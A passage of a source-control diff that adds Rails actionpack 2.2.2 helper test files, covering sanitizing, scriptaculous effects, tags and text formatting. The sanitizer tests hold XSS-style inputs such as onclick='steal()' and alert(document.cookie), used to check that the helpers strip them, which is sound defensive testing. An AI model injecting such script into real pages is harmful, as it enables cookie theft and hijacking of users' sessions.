+    assert_equal "on my mind\nall day long", strip_links("<a href='almost'>on my mind</a>\n<A href='almost'>all day long</A>")
+    assert_equal "0wn3d", strip_links("<a href='http://www.rubyonrails.com/'><a href='http://www.rubyonrails.com/' onlclick='steal()'>0wn3d</a></a>")
+    assert_equal "Magic", strip_links("<a href='http://www.rubyonrails.com/'>Mag<a href='http://www.ruby-lang.org/'>ic")
+    assert_equal "FrrFox", strip_links("<href onlclick='steal()'>FrrFox</a></href>")
+    assert_equal "My mind\nall <b>day</b> long", strip_links("<a href='almost'>My mind</a>\n<A href='almost'>all <b>day</b> long</A>")
+    assert_equal "all <b>day</b> long", strip_links("<<a>a href='hello'>all <b>day</b> long<</A>/a>")
+  end
+
+  def test_sanitize_form
+    assert_sanitized "<form action=\"/foo/bar\" method=\"post\"><input></form>", ''
+  end
+
+  def test_should_sanitize_illegal_style_properties
+    raw      = %(display:block; position:absolute; left:0; top:0; width:100%; height:100%; z-index:1; background-color:black; background-image:url(http://www.ragingplatypus.com/i/cam-full.jpg); background-x:center; background-y:center; background-repeat:repeat;)
+    expected = %(display: block; width: 100%; height: 100%; background-color: black; background-image: ; background-x: center; background-y: center;)
+    assert_equal expected, sanitize_css(raw)
+  end
+
+  def test_strip_tags
+    assert_equal("<<<bad html", strip_tags("<<<bad html"))
+    assert_equal("<<", strip_tags("<<<bad html>"))
+    assert_equal("Dont touch me", strip_tags("Dont touch me"))
+    assert_equal("This is a test.", strip_tags("<p>This <u>is<u> a <a href='test.html'><strong>test</strong></a>.</p>"))
+    assert_equal("Weirdos", strip_tags("Wei<<a>a onclick='alert(document.cookie);'</a>/>rdos"))
+    assert_equal("This is a test.", strip_tags("This is a test."))
+    assert_equal(
+    %{This is a test.\n\n\nIt no longer contains any HTML.\n}, strip_tags(
+    %{<title>This is <b>a <a href="" target="_blank">test</a></b>.</title>\n\n<!-- it has a comment -->\n\n<p>It no <b>longer <strong>contains <em>any <strike>HTML</strike></em>.</strong></b></p>\n}))
+    assert_equal "This has a  here.", strip_tags("This has a <!-- comment --> here.")
+    [nil, '', '   '].each { |blank| assert_equal blank, strip_tags(blank) }
+  end
+
+  def assert_sanitized(text, expected = nil)
+    assert_equal((expected || text), sanitize(text))
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/scriptaculous_helper_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/scriptaculous_helper_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/scriptaculous_helper_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,90 @@
+require 'abstract_unit'
+
+class ScriptaculousHelperTest < ActionView::TestCase
+  tests ActionView::Helpers::ScriptaculousHelper
+
+  def setup
+    @controller = Class.new do
+      def url_for(options)
+        url =  "http://www.example.com/"
+        url << options[:action].to_s if options and options[:action]
+        url
+      end
+    end.new
+  end
+  
+  def test_effect
+    assert_equal "new Effect.Highlight(\"posts\",{});", visual_effect(:highlight, "posts")
+    assert_equal "new Effect.Highlight(\"posts\",{});", visual_effect("highlight", :posts)
+    assert_equal "new Effect.Highlight(\"posts\",{});", visual_effect(:highlight, :posts)    
+    assert_equal "new Effect.Fade(\"fademe\",{duration:4.0});", visual_effect(:fade, "fademe", :duration => 4.0)
+    assert_equal "new Effect.Shake(element,{});", visual_effect(:shake)
+    assert_equal "new Effect.DropOut(\"dropme\",{queue:'end'});", visual_effect(:drop_out, 'dropme', :queue => :end)
+    assert_equal "new Effect.Highlight(\"status\",{endcolor:'#EEEEEE'});", visual_effect(:highlight, 'status', :endcolor => '#EEEEEE')
+    assert_equal "new Effect.Highlight(\"status\",{restorecolor:'#500000', startcolor:'#FEFEFE'});", visual_effect(:highlight, 'status', :restorecolor => '#500000', :startcolor => '#FEFEFE')
+
+    # chop the queue params into a comma separated list
+    beginning, ending = 'new Effect.DropOut("dropme",{queue:{', '}});'
+    ve = [
+      visual_effect(:drop_out, 'dropme', :queue => {:position => "end", :scope => "test", :limit => 2}),
+      visual_effect(:drop_out, 'dropme', :queue => {:scope => :list, :limit => 2}),
+      visual_effect(:drop_out, 'dropme', :queue => {:position => :end, :scope => :test, :limit => 2})
+    ].collect { |v| v[beginning.length..-ending.length-1].split(',') }
+
+    assert ve[0].include?("limit:2")
+    assert ve[0].include?("scope:'test'")
+    assert ve[0].include?("position:'end'")
+
+    assert ve[1].include?("limit:2")
+    assert ve[1].include?("scope:'list'")
+
+    assert ve[2].include?("limit:2")
+    assert ve[2].include?("scope:'test'")
+    assert ve[2].include?("position:'end'")
+  end
+  
+  def test_toggle_effects
+    assert_equal "Effect.toggle(\"posts\",'appear',{});", visual_effect(:toggle_appear,  "posts")
+    assert_equal "Effect.toggle(\"posts\",'slide',{});",  visual_effect(:toggle_slide,   "posts")
+    assert_equal "Effect.toggle(\"posts\",'blind',{});",  visual_effect(:toggle_blind,   "posts")
+    assert_equal "Effect.toggle(\"posts\",'appear',{});", visual_effect("toggle_appear", "posts")
+    assert_equal "Effect.toggle(\"posts\",'slide',{});",  visual_effect("toggle_slide",  "posts")
+    assert_equal "Effect.toggle(\"posts\",'blind',{});",  visual_effect("toggle_blind",  "posts")
+  end
+  
+
+  def test_sortable_element
+    assert_dom_equal %(<script type=\"text/javascript\">\n//<![CDATA[\nSortable.create(\"mylist\", {onUpdate:function(){new Ajax.Request('http://www.example.com/order', {asynchronous:true, evalScripts:true, parameters:Sortable.serialize(\"mylist\")})}})\n//]]>\n</script>), 
+      sortable_element("mylist", :url => { :action => "order" })
+    assert_equal %(<script type=\"text/javascript\">\n//<![CDATA[\nSortable.create(\"mylist\", {constraint:'horizontal', onUpdate:function(){new Ajax.Request('http://www.example.com/order', {asynchronous:true, evalScripts:true, parameters:Sortable.serialize(\"mylist\")})}, tag:'div'})\n//]]>\n</script>), 
+      sortable_element("mylist", :tag => "div", :constraint => "horizontal", :url => { :action => "order" })
+    assert_dom_equal %|<script type=\"text/javascript\">\n//<![CDATA[\nSortable.create(\"mylist\", {constraint:'horizontal', containment:['list1','list2'], onUpdate:function(){new Ajax.Request('http://www.example.com/order', {asynchronous:true, evalScripts:true, parameters:Sortable.serialize(\"mylist\")})}})\n//]]>\n</script>|, 
+      sortable_element("mylist", :containment => ['list1','list2'], :constraint => "horizontal", :url => { :action => "order" })
+    assert_dom_equal %(<script type=\"text/javascript\">\n//<![CDATA[\nSortable.create(\"mylist\", {constraint:'horizontal', containment:'list1', onUpdate:function(){new Ajax.Request('http://www.example.com/order', {asynchronous:true, evalScripts:true, parameters:Sortable.serialize(\"mylist\")})}})\n//]]>\n</script>), 
+      sortable_element("mylist", :containment => 'list1', :constraint => "horizontal", :url => { :action => "order" })
+  end
+  
+  def test_draggable_element
+    assert_dom_equal %(<script type=\"text/javascript\">\n//<![CDATA[\nnew Draggable(\"product_13\", {})\n//]]>\n</script>),
+      draggable_element("product_13")
+    assert_equal %(<script type=\"text/javascript\">\n//<![CDATA[\nnew Draggable(\"product_13\", {revert:true})\n//]]>\n</script>),
+      draggable_element("product_13", :revert => true)
+  end
+  
+  def test_drop_receiving_element
+    assert_dom_equal %(<script type=\"text/javascript\">\n//<![CDATA[\nDroppables.add(\"droptarget1\", {onDrop:function(element){new Ajax.Request('http://www.example.com/', {asynchronous:true, evalScripts:true, parameters:'id=' + encodeURIComponent(element.id)})}})\n//]]>\n</script>),
+      drop_receiving_element("droptarget1")
+    assert_dom_equal %(<script type=\"text/javascript\">\n//<![CDATA[\nDroppables.add(\"droptarget1\", {accept:'products', onDrop:function(element){new Ajax.Request('http://www.example.com/', {asynchronous:true, evalScripts:true, parameters:'id=' + encodeURIComponent(element.id)})}})\n//]]>\n</script>),
+      drop_receiving_element("droptarget1", :accept => 'products')
+    assert_dom_equal %(<script type=\"text/javascript\">\n//<![CDATA[\nDroppables.add(\"droptarget1\", {accept:'products', onDrop:function(element){new Ajax.Updater('infobox', 'http://www.example.com/', {asynchronous:true, evalScripts:true, parameters:'id=' + encodeURIComponent(element.id)})}})\n//]]>\n</script>),
+      drop_receiving_element("droptarget1", :accept => 'products', :update => 'infobox')
+    assert_dom_equal %(<script type=\"text/javascript\">\n//<![CDATA[\nDroppables.add(\"droptarget1\", {accept:['tshirts','mugs'], onDrop:function(element){new Ajax.Updater('infobox', 'http://www.example.com/', {asynchronous:true, evalScripts:true, parameters:'id=' + encodeURIComponent(element.id)})}})\n//]]>\n</script>),
+      drop_receiving_element("droptarget1", :accept => ['tshirts','mugs'], :update => 'infobox')
+    assert_dom_equal %(<script type=\"text/javascript\">\n//<![CDATA[\nDroppables.add("droptarget1", {hoverclass:'dropready', onDrop:function(element){if (confirm('Are you sure?')) { new Ajax.Request('http://www.example.com/update_drop', {asynchronous:true, evalScripts:true, parameters:'id=' + encodeURIComponent(element.id)}); }}})\n//]]>\n</script>),
+    drop_receiving_element('droptarget1', :hoverclass=>'dropready', :url=>{:action=>'update_drop'}, :confirm => 'Are you sure?')
+
+  end
+  def protect_against_forgery?
+    false
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/tag_helper_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/tag_helper_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/tag_helper_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,97 @@
+require 'abstract_unit'
+
+class TagHelperTest < ActionView::TestCase
+  tests ActionView::Helpers::TagHelper
+
+  def test_tag
+    assert_equal "<br />", tag("br")
+    assert_equal "<br clear=\"left\" />", tag(:br, :clear => "left")
+    assert_equal "<br>", tag("br", nil, true)
+  end
+
+  def test_tag_options
+    str = tag("p", "class" => "show", :class => "elsewhere")
+    assert_match /class="show"/, str
+    assert_match /class="elsewhere"/, str
+  end
+
+  def test_tag_options_rejects_nil_option
+    assert_equal "<p />", tag("p", :ignored => nil)
+  end
+
+  def test_tag_options_accepts_false_option
+    assert_equal "<p value=\"false\" />", tag("p", :value => false)
+  end
+
+  def test_tag_options_accepts_blank_option
+    assert_equal "<p included=\"\" />", tag("p", :included => '')
+  end
+
+  def test_tag_options_converts_boolean_option
+    assert_equal '<p disabled="disabled" multiple="multiple" readonly="readonly" />',
+      tag("p", :disabled => true, :multiple => true, :readonly => true)
+  end
+
+  def test_content_tag
+    assert_equal "<a href=\"create\">Create</a>", content_tag("a", "Create", "href" => "create")
+    assert_equal content_tag("a", "Create", "href" => "create"),
+                 content_tag("a", "Create", :href => "create")
+  end
+
+  def test_content_tag_with_block_in_erb
+    __in_erb_template = ''
+    content_tag(:div) { concat "Hello world!" }
+    assert_dom_equal "<div>Hello world!</div>", output_buffer
+  end
+
+  def test_content_tag_with_block_and_options_in_erb
+    __in_erb_template = ''
+    content_tag(:div, :class => "green") { concat "Hello world!" }
+    assert_dom_equal %(<div class="green">Hello world!</div>), output_buffer
+  end
+
+  def test_content_tag_with_block_and_options_out_of_erb
+    assert_dom_equal %(<div class="green">Hello world!</div>), content_tag(:div, :class => "green") { "Hello world!" }
+  end
+
+  def test_content_tag_with_block_and_options_outside_out_of_erb
+    assert_equal content_tag("a", "Create", :href => "create"),
+                 content_tag("a", "href" => "create") { "Create" }
+  end
+
+  def test_content_tag_nested_in_content_tag_out_of_erb
+    assert_equal content_tag("p", content_tag("b", "Hello")),
+                 content_tag("p") { content_tag("b", "Hello") },
+                 output_buffer
+  end
+
+  def test_content_tag_nested_in_content_tag_in_erb
+    __in_erb_template = true
+    content_tag("p") { concat content_tag("b", "Hello") }
+    assert_equal '<p><b>Hello</b></p>', output_buffer
+  end
+
+  def test_cdata_section
+    assert_equal "<![CDATA[<hello world>]]>", cdata_section("<hello world>")
+  end
+  
+  def test_escape_once
+    assert_equal '1 &lt; 2 &amp; 3', escape_once('1 < 2 &amp; 3')
+  end
+  
+  def test_double_escaping_attributes
+    ['1&amp;2', '1 &lt; 2', '&#8220;test&#8220;'].each do |escaped|
+      assert_equal %(<a href="#{escaped}" />), tag('a', :href => escaped)
+    end
+  end
+  
+  def test_skip_invalid_escaped_attributes
+    ['&1;', '&#1dfa3;', '& #123;'].each do |escaped|
+      assert_equal %(<a href="#{escaped.gsub /&/, '&amp;'}" />), tag('a', :href => escaped)
+    end
+  end
+
+  def test_disable_escaping
+    assert_equal '<a href="&amp;" />', tag('a', { :href => '&amp;' }, false, false)
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/test_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/test_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/test_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,56 @@
+require 'abstract_unit'
+
+module PeopleHelper
+  def title(text)
+    content_tag(:h1, text)
+  end
+
+  def homepage_path
+    people_path
+  end
+
+  def homepage_url
+    people_url
+  end
+
+  def link_to_person(person)
+    link_to person.name, person
+  end
+end
+
+class PeopleHelperTest < ActionView::TestCase
+  def setup
+    ActionController::Routing::Routes.draw do |map|
+      map.people 'people', :controller => 'people', :action => 'index'
+      map.connect ':controller/:action/:id'
+    end
+  end
+
+  def test_title
+    assert_equal "<h1>Ruby on Rails</h1>", title("Ruby on Rails")
+  end
+
+  def test_homepage_path
+    assert_equal "/people", homepage_path
+  end
+
+  def test_homepage_url
+    assert_equal "http://test.host/people", homepage_url
+  end
+
+  uses_mocha "link_to_person" do
+    def test_link_to_person
+      person = mock(:name => "David")
+      expects(:mocha_mock_path).with(person).returns("/people/1")
+      assert_equal '<a href="/people/1">David</a>', link_to_person(person)
+    end
+  end
+end
+
+class CrazyHelperTest < ActionView::TestCase
+  tests PeopleHelper
+
+  def test_helper_class_can_be_set_manually_not_just_inferred
+    assert_equal PeopleHelper, self.class.helper_class
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/text_helper_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/text_helper_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/text_helper_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,441 @@
+require 'abstract_unit'
+require 'testing_sandbox'
+
+class TextHelperTest < ActionView::TestCase
+  tests ActionView::Helpers::TextHelper
+  include TestingSandbox
+
+  def setup
+    # This simulates the fact that instance variables are reset every time
+    # a view is rendered.  The cycle helper depends on this behavior.
+    @_cycles = nil if (defined? @_cycles)
+  end
+
+  def test_concat
+    self.output_buffer = 'foo'
+    assert_equal 'foobar', concat('bar')
+    assert_equal 'foobar', output_buffer
+  end
+
+  def test_simple_format
+    assert_equal "<p></p>", simple_format(nil)
+
+    assert_equal "<p>crazy\n<br /> cross\n<br /> platform linebreaks</p>", simple_format("crazy\r\n cross\r platform linebreaks")
+    assert_equal "<p>A paragraph</p>\n\n<p>and another one!</p>", simple_format("A paragraph\n\nand another one!")
+    assert_equal "<p>A paragraph\n<br /> With a newline</p>", simple_format("A paragraph\n With a newline")
+
+    text = "A\nB\nC\nD".freeze
+    assert_equal "<p>A\n<br />B\n<br />C\n<br />D</p>", simple_format(text)
+
+    text = "A\r\n  \nB\n\n\r\n\t\nC\nD".freeze
+    assert_equal "<p>A\n<br />  \n<br />B</p>\n\n<p>\t\n<br />C\n<br />D</p>", simple_format(text)
+
+     assert_equal %q(<p class="test">This is a classy test</p>), simple_format("This is a classy test", :class => 'test')
+     assert_equal %Q(<p class="test">para 1</p>\n\n<p class="test">para 2</p>), simple_format("para 1\n\npara 2", :class => 'test')
+  end
+
+  def test_truncate
+    assert_equal "Hello World!", truncate("Hello World!", :length => 12)
+    assert_equal "Hello Wor...", truncate("Hello World!!", :length => 12)
+  end
+
+  def test_truncate_should_use_default_length_of_30
+    str = "This is a string that will go longer then the default truncate length of 30"
+    assert_equal str[0...27] + "...", truncate(str)
+  end
+
+  def test_truncate_with_options_hash
+    assert_equal "This is a string that wil[...]", truncate("This is a string that will go longer then the default truncate length of 30", :omission => "[...]")
+    assert_equal "Hello W...", truncate("Hello World!", :length => 10)
+    assert_equal "Hello[...]", truncate("Hello World!", :omission => "[...]", :length => 10)
+  end
+
+  if RUBY_VERSION < '1.9.0'
+    def test_truncate_multibyte
+      with_kcode 'none' do
+        assert_equal "\354\225\210\353\205\225\355...", truncate("\354\225\210\353\205\225\355\225\230\354\204\270\354\232\224", :length => 10)
+      end
+      with_kcode 'u' do
+        assert_equal "\354\225\204\353\246\254\353\236\221 \354\225\204\353\246\254 ...",
+          truncate("\354\225\204\353\246\254\353\236\221 \354\225\204\353\246\254 \354\225\204\353\235\274\353\246\254\354\230\244", :length => 10)
+      end
+    end
+  else
+    def test_truncate_multibyte
+      assert_equal "\354\225\210\353\205\225\355...",
+        truncate("\354\225\210\353\205\225\355\225\230\354\204\270\354\232\224", :length => 10)
+
+      assert_equal "\354\225\204\353\246\254\353\236\221 \354\225\204\353\246\254 ...".force_encoding('UTF-8'),
+        truncate("\354\225\204\353\246\254\353\236\221 \354\225\204\353\246\254 \354\225\204\353\235\274\353\246\254\354\230\244".force_encoding('UTF-8'), :length => 10)
+    end
+  end
+
+  def test_highlighter
+    assert_equal(
+      "This is a <strong class=\"highlight\">beautiful</strong> morning",
+      highlight("This is a beautiful morning", "beautiful")
+    )
+
+    assert_equal(
+      "This is a <strong class=\"highlight\">beautiful</strong> morning, but also a <strong class=\"highlight\">beautiful</strong> day",
+      highlight("This is a beautiful morning, but also a beautiful day", "beautiful")
+    )
+
+    assert_equal(
+      "This is a <b>beautiful</b> morning, but also a <b>beautiful</b> day",
+      highlight("This is a beautiful morning, but also a beautiful day", "beautiful", '<b>\1</b>')
+    )
+
+    assert_equal(
+      "This text is not changed because we supplied an empty phrase",
+      highlight("This text is not changed because we supplied an empty phrase", nil)
+    )
+
+    assert_equal '   ', highlight('   ', 'blank text is returned verbatim')
+  end
+
+  def test_highlight_with_regexp
+    assert_equal(
+      "This is a <strong class=\"highlight\">beautiful!</strong> morning",
+      highlight("This is a beautiful! morning", "beautiful!")
+    )
+
+    assert_equal(
+      "This is a <strong class=\"highlight\">beautiful! morning</strong>",
+      highlight("This is a beautiful! morning", "beautiful! morning")
+    )
+
+    assert_equal(
+      "This is a <strong class=\"highlight\">beautiful? morning</strong>",
+      highlight("This is a beautiful? morning", "beautiful? morning")
+    )
+  end
+
+  def test_highlight_with_multiple_phrases_in_one_pass
+    assert_equal %(<em>wow</em> <em>em</em>), highlight('wow em', %w(wow em), '<em>\1</em>')
+  end
+
+  def test_highlight_with_options_hash
+    assert_equal(
+      "This is a <b>beautiful</b> morning, but also a <b>beautiful</b> day",
+      highlight("This is a beautiful morning, but also a beautiful day", "beautiful", :highlighter => '<b>\1</b>')
+    )
+  end
+
+  def test_excerpt
+    assert_equal("...is a beautiful morn...", excerpt("This is a beautiful morning", "beautiful", 5))
+    assert_equal("This is a...", excerpt("This is a beautiful morning", "this", 5))
+    assert_equal("...iful morning", excerpt("This is a beautiful morning", "morning", 5))
+    assert_nil excerpt("This is a beautiful morning", "day")
+  end
+
+  def test_excerpt_in_borderline_cases
+    assert_equal("", excerpt("", "", 0))
+    assert_equal("a", excerpt("a", "a", 0))
+    assert_equal("...b...", excerpt("abc", "b", 0))
+    assert_equal("abc", excerpt("abc", "b", 1))
+    assert_equal("abc...", excerpt("abcd", "b", 1))
+    assert_equal("...abc", excerpt("zabc", "b", 1))
+    assert_equal("...abc...", excerpt("zabcd", "b", 1))
+    assert_equal("zabcd", excerpt("zabcd", "b", 2))
+
+    # excerpt strips the resulting string before ap-/prepending excerpt_string.
+    # whether this behavior is meaningful when excerpt_string is not to be
+    # appended is questionable.
+    assert_equal("zabcd", excerpt("  zabcd  ", "b", 4))
+    assert_equal("...abc...", excerpt("z  abc  d", "b", 1))
+  end
+
+  def test_excerpt_with_regex
+    assert_equal('...is a beautiful! mor...', excerpt('This is a beautiful! morning', 'beautiful', 5))
+    assert_equal('...is a beautiful? mor...', excerpt('This is a beautiful? morning', 'beautiful', 5))
+  end
+
+  def test_excerpt_with_options_hash
+    assert_equal("...is a beautiful morn...", excerpt("This is a beautiful morning", "beautiful", :radius => 5))
+    assert_equal("[...]is a beautiful morn[...]", excerpt("This is a beautiful morning", "beautiful", :omission => "[...]",:radius => 5))
+    assert_equal(
+      "This is the ultimate supercalifragilisticexpialidoceous very looooooooooooooooooong looooooooooooong beautiful morning with amazing sunshine and awesome tempera[...]",
+      excerpt("This is the ultimate supercalifragilisticexpialidoceous very looooooooooooooooooong looooooooooooong beautiful morning with amazing sunshine and awesome temperatures. So what are you gonna do about it?", "very",
+      :omission => "[...]")
+    )
+  end
+
+  if RUBY_VERSION < '1.9'
+    def test_excerpt_with_utf8
+      with_kcode('u') do
+        assert_equal("...\357\254\203ciency could not be...", excerpt("That's why e\357\254\203ciency could not be helped", 'could', 8))
+      end
+      with_kcode('none') do
+        assert_equal("...\203ciency could not be...", excerpt("That's why e\357\254\203ciency could not be helped", 'could', 8))
+      end
+    end
+  else
+    def test_excerpt_with_utf8
+      assert_equal("...\357\254\203ciency could not be...".force_encoding('UTF-8'), excerpt("That's why e\357\254\203ciency could not be helped".force_encoding('UTF-8'), 'could', 8))
+      assert_equal("...\203ciency could not be...", excerpt("That's why e\357\254\203ciency could not be helped", 'could', 8))
+    end
+  end
+
+  def test_word_wrap
+    assert_equal("my very very\nvery long\nstring", word_wrap("my very very very long string", 15))
+  end
+
+  def test_word_wrap_with_extra_newlines
+    assert_equal("my very very\nvery long\nstring\n\nwith another\nline", word_wrap("my very very very long string\n\nwith another line", 15))
+  end
+
+  def test_word_wrap_with_options_hash
+    assert_equal("my very very\nvery long\nstring", word_wrap("my very very very long string", :line_width => 15))
+  end
+
+  def test_pluralization
+    assert_equal("1 count", pluralize(1, "count"))
+    assert_equal("2 counts", pluralize(2, "count"))
+    assert_equal("1 count", pluralize('1', "count"))
+    assert_equal("2 counts", pluralize('2', "count"))
+    assert_equal("1,066 counts", pluralize('1,066', "count"))
+    assert_equal("1.25 counts", pluralize('1.25', "count"))
+    assert_equal("2 counters", pluralize(2, "count", "counters"))
+    assert_equal("0 counters", pluralize(nil, "count", "counters"))
+    assert_equal("2 people", pluralize(2, "person"))
+    assert_equal("10 buffaloes", pluralize(10, "buffalo"))
+    assert_equal("1 berry", pluralize(1, "berry"))
+    assert_equal("12 berries", pluralize(12, "berry"))
+  end
+
+  def test_auto_link_parsing
+    urls = %w(http://www.rubyonrails.com
+              http://www.rubyonrails.com:80
+              http://www.rubyonrails.com/~minam
+              https://www.rubyonrails.com/~minam
+              http://www.rubyonrails.com/~minam/url%20with%20spaces
+              http://www.rubyonrails.com/foo.cgi?something=here
+              http://www.rubyonrails.com/foo.cgi?something=here&and=here
+              http://www.rubyonrails.com/contact;new
+              http://www.rubyonrails.com/contact;new%20with%20spaces
+              http://www.rubyonrails.com/contact;new?with=query&string=params
+              http://www.rubyonrails.com/~minam/contact;new?with=query&string=params
+              http://en.wikipedia.org/wiki/Wikipedia:Today%27s_featured_picture_%28animation%29/January_20%2C_2007
+              http://www.mail-archive.com/[email protected]/
+              http://www.amazon.com/Testing-Equal-Sign-In-Path/ref=pd_bbs_sr_1?ie=UTF8&s=books&qid=1198861734&sr=8-1
+              http://en.wikipedia.org/wiki/Sprite_(computer_graphics)
+              http://en.wikipedia.org/wiki/Texas_hold'em
+              https://www.google.com/doku.php?id=gps:resource:scs:start
+            )
+
+    urls.each do |url|
+      assert_equal %(<a href="#{url}">#{url}</a>), auto_link(url)
+    end
+  end
+
+  def test_auto_linking
+    email_raw    = 'david at loudthinking.com'
+    email_result = %{<a href="mailto:#{email_raw}">#{email_raw}</a>}
+    email2_raw    = '+david at loudthinking.com'
+    email2_result = %{<a href="mailto:#{email2_raw}">#{email2_raw}</a>}
+    link_raw     = 'http://www.rubyonrails.com'
+    link_result  = %{<a href="#{link_raw}">#{link_raw}</a>}
+    link_result_with_options  = %{<a href="#{link_raw}" target="_blank">#{link_raw}</a>}
+    link2_raw    = 'www.rubyonrails.com'
+    link2_result = %{<a href="http://#{link2_raw}">#{link2_raw}</a>}
+    link3_raw    = 'http://manuals.ruby-on-rails.com/read/chapter.need_a-period/103#page281'
+    link3_result = %{<a href="#{link3_raw}">#{link3_raw}</a>}
+    link4_raw    = 'http://foo.example.com/controller/action?parm=value&p2=v2#anchor123'
+    link4_result = %{<a href="#{link4_raw}">#{link4_raw}</a>}
+    link5_raw    = 'http://foo.example.com:3000/controller/action'
+    link5_result = %{<a href="#{link5_raw}">#{link5_raw}</a>}
+    link6_raw    = 'http://foo.example.com:3000/controller/action+pack'
+    link6_result = %{<a href="#{link6_raw}">#{link6_raw}</a>}
+    link7_raw    = 'http://foo.example.com/controller/action?parm=value&p2=v2#anchor-123'
+    link7_result = %{<a href="#{link7_raw}">#{link7_raw}</a>}
+    link8_raw    = 'http://foo.example.com:3000/controller/action.html'
+    link8_result = %{<a href="#{link8_raw}">#{link8_raw}</a>}
+    link9_raw    = 'http://business.timesonline.co.uk/article/0,,9065-2473189,00.html'
+    link9_result = %{<a href="#{link9_raw}">#{link9_raw}</a>}
+    link10_raw    = 'http://www.mail-archive.com/[email protected]/'
+    link10_result = %{<a href="#{link10_raw}">#{link10_raw}</a>}
+
+    assert_equal %(hello #{email_result}), auto_link("hello #{email_raw}", :email_addresses)
+    assert_equal %(Go to #{link_result}), auto_link("Go to #{link_raw}", :urls)
+    assert_equal %(Go to #{link_raw}), auto_link("Go to #{link_raw}", :email_addresses)
+    assert_equal %(Go to #{link_result} and say hello to #{email_result}), auto_link("Go to #{link_raw} and say hello to #{email_raw}")
+    assert_equal %(<p>Link #{link_result}</p>), auto_link("<p>Link #{link_raw}</p>")
+    assert_equal %(<p>#{link_result} Link</p>), auto_link("<p>#{link_raw} Link</p>")
+    assert_equal %(<p>Link #{link_result_with_options}</p>), auto_link("<p>Link #{link_raw}</p>", :all, {:target => "_blank"})
+    assert_equal %(Go to #{link_result}.), auto_link(%(Go to #{link_raw}.))
+    assert_equal %(<p>Go to #{link_result}, then say hello to #{email_result}.</p>), auto_link(%(<p>Go to #{link_raw}, then say hello to #{email_raw}.</p>))
+    assert_equal %(Go to #{link2_result}), auto_link("Go to #{link2_raw}", :urls)
+    assert_equal %(Go to #{link2_raw}), auto_link("Go to #{link2_raw}", :email_addresses)
+    assert_equal %(<p>Link #{link2_result}</p>), auto_link("<p>Link #{link2_raw}</p>")
+    assert_equal %(<p>#{link2_result} Link</p>), auto_link("<p>#{link2_raw} Link</p>")
+    assert_equal %(Go to #{link2_result}.), auto_link(%(Go to #{link2_raw}.))
+    assert_equal %(<p>Say hello to #{email_result}, then go to #{link2_result}.</p>), auto_link(%(<p>Say hello to #{email_raw}, then go to #{link2_raw}.</p>))
+    assert_equal %(Go to #{link3_result}), auto_link("Go to #{link3_raw}", :urls)
+    assert_equal %(Go to #{link3_raw}), auto_link("Go to #{link3_raw}", :email_addresses)
+    assert_equal %(<p>Link #{link3_result}</p>), auto_link("<p>Link #{link3_raw}</p>")
+    assert_equal %(<p>#{link3_result} Link</p>), auto_link("<p>#{link3_raw} Link</p>")
+    assert_equal %(Go to #{link3_result}.), auto_link(%(Go to #{link3_raw}.))
+    assert_equal %(<p>Go to #{link3_result}. seriously, #{link3_result}? i think I'll say hello to #{email_result}. instead.</p>), auto_link(%(<p>Go to #{link3_raw}. seriously, #{link3_raw}? i think I'll say hello to #{email_raw}. instead.</p>))
+    assert_equal %(<p>Link #{link4_result}</p>), auto_link("<p>Link #{link4_raw}</p>")
+    assert_equal %(<p>#{link4_result} Link</p>), auto_link("<p>#{link4_raw} Link</p>")
+    assert_equal %(<p>#{link5_result} Link</p>), auto_link("<p>#{link5_raw} Link</p>")
+    assert_equal %(<p>#{link6_result} Link</p>), auto_link("<p>#{link6_raw} Link</p>")
+    assert_equal %(<p>#{link7_result} Link</p>), auto_link("<p>#{link7_raw} Link</p>")
+    assert_equal %(Go to #{link8_result}), auto_link("Go to #{link8_raw}", :urls)
+    assert_equal %(Go to #{link8_raw}), auto_link("Go to #{link8_raw}", :email_addresses)
+    assert_equal %(<p>Link #{link8_result}</p>), auto_link("<p>Link #{link8_raw}</p>")
+    assert_equal %(<p>#{link8_result} Link</p>), auto_link("<p>#{link8_raw} Link</p>")
+    assert_equal %(Go to #{link8_result}.), auto_link(%(Go to #{link8_raw}.))
+    assert_equal %(<p>Go to #{link8_result}. seriously, #{link8_result}? i think I'll say hello to #{email_result}. instead.</p>), auto_link(%(<p>Go to #{link8_raw}. seriously, #{link8_raw}? i think I'll say hello to #{email_raw}. instead.</p>))
+    assert_equal %(Go to #{link9_result}), auto_link("Go to #{link9_raw}", :urls)
+    assert_equal %(Go to #{link9_raw}), auto_link("Go to #{link9_raw}", :email_addresses)
+    assert_equal %(<p>Link #{link9_result}</p>), auto_link("<p>Link #{link9_raw}</p>")
+    assert_equal %(<p>#{link9_result} Link</p>), auto_link("<p>#{link9_raw} Link</p>")
+    assert_equal %(Go to #{link9_result}.), auto_link(%(Go to #{link9_raw}.))
+    assert_equal %(<p>Go to #{link9_result}. seriously, #{link9_result}? i think I'll say hello to #{email_result}. instead.</p>), auto_link(%(<p>Go to #{link9_raw}. seriously, #{link9_raw}? i think I'll say hello to #{email_raw}. instead.</p>))
